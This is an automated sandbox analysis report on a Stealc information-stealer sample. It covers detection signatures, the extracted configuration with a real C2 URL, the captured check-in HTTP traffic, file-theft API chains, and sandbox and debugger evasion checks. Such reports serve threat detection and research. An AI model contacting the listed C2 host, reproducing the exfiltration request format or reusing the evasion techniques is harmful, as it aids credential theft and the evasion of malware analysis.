Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1521035
MD5:	e904093ef887cb372b3fe7ab75e6c6c7
SHA1:	aece57bd3cbb0bc1818fe026100f30783a6e3f55
SHA256:	b99711aa1ee5a0ca9cfcc53dff0ffcab9f2800afad74a0633b1488fe2afa47b7
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Program does not show much activity (idle)

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 7324 cmdline: "C:\Users\user\Desktop\file.exe" MD5: E904093EF887CB372B3FE7AB75E6C6C7)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "save"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000001.00000003.1340711226.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000001.00000002.1386340367.000000000103E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 7324	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 7324	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
1.2.file.exe.920000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-28T03:23:04.686587+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.9	49706	185.215.113.37	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Found malware configuration

Source: 1.2.file.exe.920000.0.unpack

Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "save"}

Multi AV Scanner detection for domain / URL

Source: http://185.215.113.37/	Virustotal: Detection: 17%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.php_	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37	Virustotal: Detection: 17%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.php	Virustotal: Detection: 18%	Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0092C820 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	1_2_0092C820
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00929AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	1_2_00929AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00927240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	1_2_00927240
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00929B60 CryptUnprotectData,LocalAlloc,LocalFree,	1_2_00929B60
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00938EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	1_2_00938EA0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_009338B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	1_2_009338B0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00934910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_00934910
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0092DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	1_2_0092DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0092E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	1_2_0092E430
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0092ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	1_2_0092ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00934570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	1_2_00934570
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0092F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_0092F6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00933EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	1_2_00933EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_009216D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_009216D0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0092DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_0092DE10
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0092BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	1_2_0092BE70

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.9:49706 -> 185.215.113.37:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKEGHDGHCGHDHJKFBFBKHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 45 47 48 44 47 48 43 47 48 44 48 4a 4b 46 42 46 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 36 42 31 36 36 33 42 38 30 33 38 31 38 30 36 39 37 30 37 35 32 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 47 48 44 47 48 43 47 48 44 48 4a 4b 46 42 46 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 61 76 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 47 48 44 47 48 43 47 48 44 48 4a 4b 46 42 46 42 4b 2d 2d 0d 0a Data Ascii: ------JKEGHDGHCGHDHJKFBFBKContent-Disposition: form-data; name="hwid"96B1663B80381806970752------JKEGHDGHCGHDHJKFBFBKContent-Disposition: form-data; name="build"save------JKEGHDGHCGHDHJKFBFBK--

Source: Joe Sandbox View

IP Address: 185.215.113.37 185.215.113.37

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_00924880 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,lstrlen,lstrlen,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

1_2_00924880

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKEGHDGHCGHDHJKFBFBKHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 45 47 48 44 47 48 43 47 48 44 48 4a 4b 46 42 46 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 36 42 31 36 36 33 42 38 30 33 38 31 38 30 36 39 37 30 37 35 32 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 47 48 44 47 48 43 47 48 44 48 4a 4b 46 42 46 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 61 76 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 47 48 44 47 48 43 47 48 44 48 4a 4b 46 42 46 42 4b 2d 2d 0d 0a Data Ascii: ------JKEGHDGHCGHDHJKFBFBKContent-Disposition: form-data; name="hwid"96B1663B80381806970752------JKEGHDGHCGHDHJKFBFBKContent-Disposition: form-data; name="build"save------JKEGHDGHCGHDHJKFBFBK--

Source: file.exe, 00000001.00000002.1386340367.000000000109B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.1386340367.000000000103E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000001.00000002.1386340367.0000000001085000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000001.00000002.1386340367.0000000001082000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.1386340367.000000000109B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.1386340367.00000000010B5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.1386340367.0000000001085000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000001.00000002.1386340367.000000000109B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php_

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00BDB057	1_2_00BDB057
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00BB41B9	1_2_00BB41B9
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00D0A996	1_2_00D0A996
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00C21141	1_2_00C21141
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00B95926	1_2_00B95926
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00CCB2E3	1_2_00CCB2E3
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00CE0AA8	1_2_00CE0AA8
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00CEE3E6	1_2_00CEE3E6
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00CE5B7A	1_2_00CE5B7A
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00C134EB	1_2_00C134EB
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00CEAD77	1_2_00CEAD77
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00CE36EA	1_2_00CE36EA
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00CECEE6	1_2_00CECEE6
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00CE7687	1_2_00CE7687
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00BF4665	1_2_00BF4665
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00CD57D0	1_2_00CD57D0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00CE977A	1_2_00CE977A

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 009245C0 appears 316 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: bctajgqz ZLIB complexity 0.9949198632990003

Source: file.exe

Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.evad.winEXE@1/0@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_00938680 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

1_2_00938680

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_00933720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

1_2_00933720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\3UP3VPLO.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: file.exe

Static file information: File size 1846784 > 1048576

Source: file.exe

Static PE information: Raw size of bctajgqz is bigger than: 0x100000 < 0x19ca00

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 1.2.file.exe.920000.0.unpack :EW;.rsrc :W;.idata :W; :EW;bctajgqz:EW;phttshfa:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;bctajgqz:EW;phttshfa:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_00939860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

1_2_00939860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1c7339 should be: 0x1c56bb

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: bctajgqz
Source: file.exe	Static PE information: section name: phttshfa
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00DC88CC push 2178BFE9h; mov dword ptr [esp], edi	1_2_00DC8A6C
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00DC88CC push edi; mov dword ptr [esp], edx	1_2_00DC8AED
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00C648D1 push 468A2759h; mov dword ptr [esp], ecx	1_2_00C648F2
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00C648D1 push 0CED83D4h; mov dword ptr [esp], ebp	1_2_00C64912
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00C648D1 push edx; mov dword ptr [esp], ecx	1_2_00C6491C
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00DA50E9 push eax; mov dword ptr [esp], edx	1_2_00DA510B
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00DA50E9 push edx; mov dword ptr [esp], ebp	1_2_00DA5154
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00D7E88F push edi; mov dword ptr [esp], ebx	1_2_00D7E8EE
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00DB105F push edx; mov dword ptr [esp], 00000004h	1_2_00DB117D
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00D1605E push edx; mov dword ptr [esp], edi	1_2_00D160C6
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00D1D048 push esi; mov dword ptr [esp], 7FE3E912h	1_2_00D1D093
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00D1D048 push 1F565B09h; mov dword ptr [esp], eax	1_2_00D1D115
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00D1D048 push 5C614DF8h; mov dword ptr [esp], ebx	1_2_00D1D124
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00FB605A push edx; mov dword ptr [esp], 76E366C3h	1_2_00FB60D6
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00FB605A push 3ECF65EBh; mov dword ptr [esp], eax	1_2_00FB60F3
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00FB605A push 6EF77CADh; mov dword ptr [esp], edi	1_2_00FB610C
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00FB605A push esi; mov dword ptr [esp], ecx	1_2_00FB616A
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0093B035 push ecx; ret	1_2_0093B048
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00DE380F push 45569AF4h; mov dword ptr [esp], ecx	1_2_00DE38DF
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00DE380F push ebx; mov dword ptr [esp], 01F0DB0Bh	1_2_00DE38EB
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00D58835 push edi; mov dword ptr [esp], ebx	1_2_00D5888B
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00D9783A push 6C65225Ah; mov dword ptr [esp], ebx	1_2_00D978AC
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00D9783A push 0F352231h; mov dword ptr [esp], edi	1_2_00D978C9
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00D9783A push 4D6A1F4Dh; mov dword ptr [esp], ebx	1_2_00D9797E
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00BDB057 push 0A6BBC58h; mov dword ptr [esp], esi	1_2_00BDB0AE
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00DC8832 push edi; mov dword ptr [esp], esp	1_2_00DC8866
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00D0C021 push ebx; mov dword ptr [esp], ecx	1_2_00D0C060
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00BB41B9 push 447EB9FCh; mov dword ptr [esp], ebx	1_2_00BB41D1
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00BB41B9 push ebp; mov dword ptr [esp], edi	1_2_00BB41DD
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00BB41B9 push 334FD091h; mov dword ptr [esp], esi	1_2_00BB42AA
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00C679D3 push eax; mov dword ptr [esp], 7FFE24CEh	1_2_00C67A10

Source: file.exe

Static PE information: section name: bctajgqz entropy: 7.953531786807203

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

1_2_00939860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_1-13244

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF247F second address: CF248A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push edx 0x00000006 pop edx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF248A second address: CF24B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F699913D300h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F699913D306h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF24B9 second address: CF24C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jnc 00007F6999135DE6h 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF24C6 second address: CF24DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F699913D303h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF2762 second address: CF2766 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF2766 second address: CF2776 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F699913D2F6h 0x00000008 jo 00007F699913D2F6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF2776 second address: CF2780 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F6999135DE6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF290E second address: CF2918 instructions: 0x00000000 rdtsc 0x00000002 je 00007F699913D2F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF2AA2 second address: CF2AD8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6999135DF7h 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F6999135DEDh 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F6999135DEAh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF2C53 second address: CF2C60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jp 00007F699913D2F6h 0x0000000d rdtsc
